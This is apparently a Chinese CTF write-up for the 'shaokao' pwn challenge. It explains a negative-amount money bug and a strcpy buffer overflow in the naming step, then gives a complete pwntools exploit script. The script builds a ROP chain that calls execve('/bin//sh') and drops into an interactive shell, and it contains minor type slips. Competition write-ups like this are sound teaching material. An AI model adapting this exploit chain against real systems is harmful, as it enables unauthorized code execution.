国赛初赛pwn

一.shaokao

1.checksec

2.ida

ida调试前看了眼程序,尝试买摊位,发现钱不够

 

点进去啤酒那里

 

发现这里的钱有漏洞,可以直接输入负数,钱不减反增。

 

又发现这里有strcpy函数,推测这里有溢出。

 

发现了系统调用函数

3.分析

 

那就是先买下摊位,再去改名,通过名字来溢出,实现系统调用。

先用ROPgaget来查找

4.exp.py

# _*_ coding:utf-8 _*_

from pwn import *

from struct import pack  

#p = remote("123.56.116.45","18860")

r= process("./shaokao")

context.log_level = "debug"

r.sendlineafter(">",b"1")

r.sendlineafter("3. 勇闯天涯\n",b"1")

r.sendlineafter("\n",b"-10000000")

r.sendlineafter(">",b"4")

r.sendlineafter(">",b"5")                                                                                                                                                                             

pay= b'a'*(0x20+8)

pay += pack('<Q','0x000000000040a67e') # pop rsi ; ret

pay += pack('<Q', 0x00000000004e60e0)

pay += pack('<Q', 0x0000000000458827) # pop rax ; ret

pay += '/bin//sh'

pay += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret

pay += pack('<Q', 0x000000000040a67e) # pop rsi ; ret

pay += pack('<Q', 0x00000000004e60e8)

pay += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret

pay += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret

pay += pack('<Q', 0x000000000040264f) # pop rdi ; ret

pay += pack('<Q', 0x00000000004e60e0)

pay += pack('<Q', 0x000000000040a67e) # pop rsi ; ret

pay += pack('<Q', 0x00000000004e60e8)

pay += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret

pay += pack('<Q', 0x00000000004e60e8)

pay += pack('<Q', 0x4141414141414141)

pay += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret

pay += pack('<Q', 0x0000000000402404) # syscall

r.sendlineafter("烧烤摊儿已归你所有,请赐名:",pay)

r.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wbxlzd

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值